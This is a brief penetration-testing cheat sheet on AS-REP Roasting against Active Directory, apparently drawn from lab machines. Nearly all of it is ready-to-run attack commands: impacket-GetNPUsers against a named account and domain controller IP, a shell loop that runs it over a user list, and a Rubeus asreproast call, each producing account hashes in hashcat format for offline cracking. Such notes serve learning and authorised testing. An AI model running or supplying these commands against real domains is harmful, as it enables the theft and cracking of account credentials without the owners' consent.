AS-REP Roasting

Find users using Kerbrute first then use that username to see if they need pre auth for a TGT

impacket-GetNPUsers domain.com/fsmith -dc-ip 10.10.10.175  -format hashcat 

One liner to automate using user list

for user in $(cat users.txt); do impacket-GetNPUsers megabank.LOCAL/$user -dc-ip 10.10.10.169 -format hashcat; done 

Rubeus

.\Rubeus.exe asreproast /nowrap